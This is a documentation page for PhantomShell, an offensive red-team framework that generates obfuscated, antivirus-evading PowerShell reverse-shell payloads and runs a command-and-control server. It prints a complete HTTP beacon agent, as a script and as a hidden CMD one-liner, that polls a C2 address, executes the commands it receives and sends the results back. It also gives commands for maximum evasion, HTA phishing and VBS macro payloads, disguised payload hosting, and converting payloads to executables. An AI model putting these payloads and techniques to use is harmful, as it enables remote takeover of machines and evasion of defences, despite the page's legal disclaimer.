Documentation — PhantomShell

👻 What is PhantomShell?

PhantomShell is a comprehensive red-team framework designed for authorized penetration testing and adversary simulation. It combines an advanced PowerShell payload generator with a unified Command & Control (C2) infrastructure.

The tool automates the entire red-team workflow:

Generate — Obfuscated, AMSI-evading PowerShell payloads
Deploy — Via multiple delivery formats (PowerShell, CMD, HTA, VBS, MSHTA)
Control — Through a unified C2 server with Web UI and CLI interfaces
Manage — TCP reverse shells and HTTP/S agents simultaneously

Why PhantomShell?

Unified C2: TCP + HTTP agents — no separate tools needed
Multi-layer Encoding: Up to 3 layers of obfuscation
Polymorphic Payloads: Random variable names, unique every run
Multiple Formats: 5+ delivery formats (PS, CMD, HTA, VBS, MSHTA)
Web Dashboard: Real-time session management
HTTP Agent Support: Firewall-friendly polling
Payload Hosting: Built-in HTTP server with download cradles

🚀 Key Features

AV/AMSI Evasion

Multi-layer encoding & variable renaming

Unified C2 Server

TCP + HTTP agents with Web UI

Polymorphic

Random variable names, different every run

5 Formats

PS, CMD, HTA, VBS, MSHTA

HTTP Agents

Firewall-friendly polling

One Command

Generate, host, and deploy

🔍 Evasion Capabilities

No tool can guarantee complete evasion. PhantomShell helps bypass signature-based detection but cannot evade all defensive mechanisms.

Technique	What it Evades	Limitations
Variable Renaming	Static signatures	Behavioral detection
Multi-layer Encoding	Shallow analysis	Deep sandboxing
Base64 Obfuscation	Plain-text scanning	Runtime AMSI
Polymorphism	Hash-based detection	AI/Behavioral EDR
IP/Port Hiding	Pattern matching	Network monitoring
HTTP Agent	Firewall rules	SSL inspection

Maximum Evasion Profile

python3 phantomshell.py revshell -i 10.10.10.5 -p 4444 -o random -l 3 --enc-b64

This combines: random variables, 3 layers of encoding, and base64 IP/port hiding.

🏗️ Architecture

System Architecture

┌─────────────────────────────────────────────────────────────────┐
│                        TARGET MACHINE                           │
├─────────────────────────────────────────────────────────────────┤
│  ┌─────────────────┐        ┌─────────────────────────────┐     │
│  │  TCP Reverse    │        │  HTTP Agent (Polling)       │     │
│  │  Shell Payload  │        │  - Beacon every 3-5 secs    │     │
│  │  - Interactive  │        │  - Command queuing          │     │
│  │  - Real-time    │        │  - Firewall-friendly        │     │
│  └────────┬────────┘        └─────────────┬───────────────┘     │
│           │                               │                     │
│           │ TCP (4444)                    │ HTTP (8081)         │
│           ▼                               ▼                     │
└─────────────────────────────────────────────────────────────────┘
                           │
                           ▼
┌─────────────────────────────────────────────────────────────────┐
│                   PHANTOMSHELL C2 SERVER                        │
├─────────────────────────────────────────────────────────────────┤
│  ┌─────────────┐  ┌─────────────┐  ┌─────────────────────┐      │
│  │  TCP        │  │  HTTP       │  │  Web UI             │      │
│  │  Listener   │  │  Listener   │  │  - Session manager  │      │
│  │  (4444)     │  │  (8081)     │  │  - Command exec     │      │
│  └─────────────┘  └─────────────┘  │  - Real-time logs   │      │
│                                    └─────────────────────┘      │
│  ┌─────────────────────────────────────────────────────────┐    │
│  │  Unified Session Manager                                │    │
│  │  - TCP sessions                                         │    │
│  │  - HTTP agent sessions                                  │    │
│  │  - Command queuing for HTTP                             │    │
│  └─────────────────────────────────────────────────────────┘    │
│                                                                 │
│  ┌─────────────────────────────────────────────────────────┐    │
│  │  CLI Interface                                          │    │
│  │  - Interactive shell  - Session management              │    │
│  └─────────────────────────────────────────────────────────┘    │
└─────────────────────────────────────────────────────────────────┘

⚙️ Installation

No external dependencies required! PhantomShell uses only Python standard library.

                            # Clone the repository

                            git clone https://github.com/Red-Parakeet/PhantomShell.git

                            # Navigate to directory

                            cd PhantomShell

                            # Make executables

                            chmod +x phantomshell.py phantomc2.py

                            # Verify installation

                            python3 phantomshell.py --help

                            python3 phantomc2.py --help

Requirements:

Python 3.6+ (any platform)
No additional packages needed
Works on Linux, macOS, and Windows

🚀 Quick Start

Method 1: All-in-One (Recommended)

                            python3 phantomshell.py serve -i 10.10.10.5 -p 4444 --host-payload --start-c2 --password RedTeam2026
                        

Method 2: Separate Steps

Terminal 1 — Start C2 Server

                            python3 phantomc2.py --port 4444 --http-port 8081 --web-port 8080 --password RedTeam2026
                        

Terminal 2 — Generate Payload

python3 phantomshell.py revshell -i 10.10.10.5 -p 4444

Target — Execute Payload

powershell -NoP -sta -NonI -W Hidden -enc [PASTE_PAYLOAD_HERE]

Web UI Access

http://localhost:8080 (local) or http://your-ip:8080 (from other machines)
Password: RedTeam2026 (or whatever you set)

📖 Command Reference

🔹 revshell — Generate Standalone Payload

python3 phantomshell.py revshell -i IP -p PORT [OPTIONS]

Flag	Short	Description	Default
`--attacker-ip`	`-i`	Attacker IP address	Required
`--port`	`-p`	Listening port	Required
`--obf-profile`	`-o`	minimal / aggressive / random	aggressive
`--layers`	`-l`	Encoding layers (1-3)	1
`--format`	`-f`	Output format	powershell
`--enc-b64`		Hide IP/port in base64	Off
`--keep-pwd`		Show current directory in prompt	Off
`--do-not-hide`		Disable hidden window flags	Off
`--verbose`	`-v`	Show decoded payload	Off

🔹 serve — Generate, Host, and Serve Payload

python3 phantomshell.py serve -i IP -p PORT [OPTIONS]

Flag	Description	Default
`--host-payload`	Host .ps1 file on HTTP server	Off
`--host-port`	HTTP server port	8000
`--filename`	Payload filename	Random
`--start-c2`	Start phantomc2.py automatically	Off
`--password`	Web UI password	phantomshell

🔹 polymorph — Generate Multiple Variants

python3 phantomshell.py polymorph -i IP -p PORT -n COUNT

🔹 c2 — Run C2 Server

python3 phantomc2.py --port PORT --password PASS [OPTIONS]

💾 Payload Generation

Basic Payload

python3 phantomshell.py revshell -i 10.10.10.5 -p 4444

Maximum Evasion

python3 phantomshell.py revshell -i 10.10.10.5 -p 4444 -o random -l 3 --enc-b64

HTA Phishing Payload

python3 phantomshell.py revshell -i 10.10.10.5 -p 4444 -f hta -l 2

CMD Wrapper

python3 phantomshell.py revshell -i 10.10.10.5 -p 4444 -f cmd

VBS Macro Payload

python3 phantomshell.py revshell -i 10.10.10.5 -p 4444 -f vbs

MSHTA One-Liner

python3 phantomshell.py revshell -i 10.10.10.5 -p 4444 -f mshta

🎮 C2 Server

The unified C2 server handles TCP reverse shells and HTTP agents with a professional Web UI and CLI interface.

                            python3 phantomc2.py --port 4444 --http-port 8081 --web-port 8080 --password RedTeam2026
                        

🌐 Payload Hosting

Generate and host payloads with built-in HTTP server and download cradles.

Host PS1 File Only

python3 phantomshell.py serve -i 10.10.10.5 -p 4444 --host-payload

Host + Start C2 (All-in-One)

                            python3 phantomshell.py serve -i 10.10.10.5 -p 4444 --host-payload --start-c2 --password RedTeam2026
                        

Host with Custom Filename

                            python3 phantomshell.py serve -i 10.10.10.5 -p 4444 --host-payload --filename update.ps1
                        

Host with Custom Port

                            python3 phantomshell.py serve -i 10.10.10.5 -p 4444 --host-payload --host-port 9000
                        

Host with Maximum Evasion

                            python3 phantomshell.py serve -i 10.10.10.5 -p 4444 --host-payload -o random -l 3 --enc-b64
                        

📦 Payload Types & Formats

Format	Command	Use Case
PowerShell	`-f powershell`	Direct execution in PowerShell
CMD Wrapper	`-f cmd`	Run from Command Prompt
HTA	`-f hta`	Phishing via HTML Application
VBS	`-f vbs`	Office macro delivery
MSHTA	`-f mshta`	One-liner execution

🎯 Obfuscation Profiles

Profile	Description	Example
minimal	Fast and readable, minimal obfuscation	`$client → $c`
aggressive	More aggressive variable renaming (default)	`$client → $xA1`
random	Fully randomized variables, different every run	`$client → $mKpRx`

🧅 Encoding Layers

Layer	Description	Command
Layer 1	UTF-16LE → Base64	`-l 1`
Layer 2	IEX wrapper + Base64 decode	`-l 2`
Layer 3	Multi-stage variable decode	`-l 3`

🎮 C2 Server Features

Web Dashboard

Access the Web UI at http://localhost:8080 (or http://your-ip:8080 from other machines)

Dashboard Features

✅ Live session list with status indicators
✅ Session statistics (Total, Active, Dead, TCP, HTTP)
✅ Interactive terminal with command history
✅ Quick command buttons for common tasks
✅ Real-time logs with color coding
✅ Session type differentiation (TCP vs HTTP)
✅ Copy-paste friendly interface

CLI Interface

                            phantom > help

                            sessions              — list all sessions

                            interact <id>         — interact with a session

                            exec <id> <cmd>       — run single command

                            kill <id>             — mark session dead

                            prune                 — remove dead sessions

                            exit                  — quit C2 server

🌐 HTTP Agent Deployment

Method 1: PowerShell Script

Save as agent.ps1:

                            $u='http://10.10.10.5:8081'

                            $id=[guid]::NewGuid().ToString()

                            $pl='Windows|'+$env:COMPUTERNAME+'|'+$env:USERNAME

                            while($true){

                              try{

                                $c=(iwr -UseBasicParsing ($u+'/beacon?id='+$id+'&platform='+[uri]::EscapeDataString($pl))).Content.Trim()

                                if($c){

                                  $o=try{iex $c 2>&1|Out-String}catch{$_.Exception.Message}

                                  iwr -UseBasicParsing -Method POST -Uri ($u+'/result?id='+$id) -Body $o|Out-Null

                                }

                              }catch{}

                              Start-Sleep -Seconds (3+(Get-Random -Max 2))

                            }

Run:

powershell -ExecutionPolicy Bypass -File agent.ps1

Method 2: CMD One-Liner

                            cmd /c "powershell -w hidden -NoP -NonI -c "$u='http://10.10.10.5:8081';$id=[guid]::NewGuid().ToString();$pl='Windows|'+$env:COMPUTERNAME+'|'+$env:USERNAME;while($true){try{$c=(iwr -UseBasicParsing ($u+'/beacon?id='+$id+'&platform='+[uri]::EscapeDataString($pl))).Content.Trim();if($c){$o=try{iex $c 2>&1|Out-String}catch{$_.Exception.Message};iwr -UseBasicParsing -Method POST -Uri ($u+'/result?id='+$id) -Body $o|Out-Null}}catch{}Start-Sleep -Seconds (3+(Get-Random -Max 2))}""
                        

🪟 Building Executables

Step 1: Generate Payload Script

python3 phantomshell.py revshell -i 10.10.10.5 -p 4444 -f powershell

Step 2: Save as .ps1

Copy the output and save as payload.ps1 (must use .ps1 extension).

Step 3: Convert to .exe

Use PS2EXE (open source):

                            Install-Module -Name ps2exe -Force

                            ps2exe -inputFile payload.ps1 -outputFile payload.exe

Or use the GUI tool: PowerShell to exe/msi Converter (Microsoft Store)

Step 4: Deploy

The resulting .exe can be run by double-clicking on Windows systems.

🛡️ Security Considerations

Important Legal Notice

This tool is for authorized security testing only. Unauthorized use may violate computer crime laws. Always obtain written permission before testing.

Best Practices

Use HTTPS — Always use SSL/TLS for production deployments
Firewall Restrictions — Limit access to C2 ports
Strong Authentication — Use complex passwords (minimum 16 characters)
Infrastructure Rotation — Regularly change IPs, ports, and domains
Log Monitoring — Actively monitor for anomalies
Traffic Obfuscation — Mimic normal HTTPS traffic patterns

Recommendations

Aspect	Recommendation
C2 Hosting	VPS with firewall rules
Authentication	Strong password + 2FA
Communication	HTTPS with valid certificates
Logging	Centralized log management
Persistence	Multiple C2 fallback addresses

⚠️ Legal Disclaimer

Disclaimer

THIS SOFTWARE IS INTENDED ONLY FOR AUTHORIZED CYBERSECURITY TESTING.

PhantomShell is designed for:

✅ Authorized penetration testing
✅ Red team exercises
✅ Security research
✅ Educational purposes

Unauthorized use may violate:

Computer Fraud and Abuse Act (CFAA)
Local and international cybercrime laws
Corporate security policies

By using this tool, you agree to:

Use only on systems you own or have written permission to test
Comply with all applicable laws and regulations
Accept full responsibility for your actions
Hold harmless the authors and contributors

THE AUTHORS ASSUME NO LIABILITY FOR MISUSE OR DAMAGE CAUSED BY THIS TOOL.

License

PhantomShell is dual-licensed:

Open Source: GNU General Public License v3 — For non-commercial use
Commercial: PhantomShell Commercial License — For enterprise use

PhantomShell — Built with ❤️ for the security community

📚 Documentation

👻 What is PhantomShell?

Why PhantomShell?

🚀 Key Features

AV/AMSI Evasion

Unified C2 Server

Polymorphic

5 Formats

HTTP Agents

One Command

🔍 Evasion Capabilities

Maximum Evasion Profile

🏗️ Architecture

System Architecture

⚙️ Installation

🚀 Quick Start

Method 1: All-in-One (Recommended)

Method 2: Separate Steps

Web UI Access

📖 Command Reference

🔹 revshell — Generate Standalone Payload

🔹 serve — Generate, Host, and Serve Payload

🔹 polymorph — Generate Multiple Variants

🔹 c2 — Run C2 Server

💾 Payload Generation

Basic Payload

Maximum Evasion

HTA Phishing Payload

CMD Wrapper

VBS Macro Payload

MSHTA One-Liner

🎮 C2 Server

🌐 Payload Hosting

Host PS1 File Only

Host + Start C2 (All-in-One)

Host with Custom Filename

Host with Custom Port

Host with Maximum Evasion

📦 Payload Types & Formats

🎯 Obfuscation Profiles

🧅 Encoding Layers

🎮 C2 Server Features

Web Dashboard

Dashboard Features

CLI Interface

🌐 HTTP Agent Deployment

Method 1: PowerShell Script

Method 2: CMD One-Liner

🪟 Building Executables

Step 1: Generate Payload Script

Step 2: Save as .ps1

Step 3: Convert to .exe

Step 4: Deploy

🛡️ Security Considerations

Important Legal Notice

Best Practices

Recommendations

⚠️ Legal Disclaimer

Disclaimer

License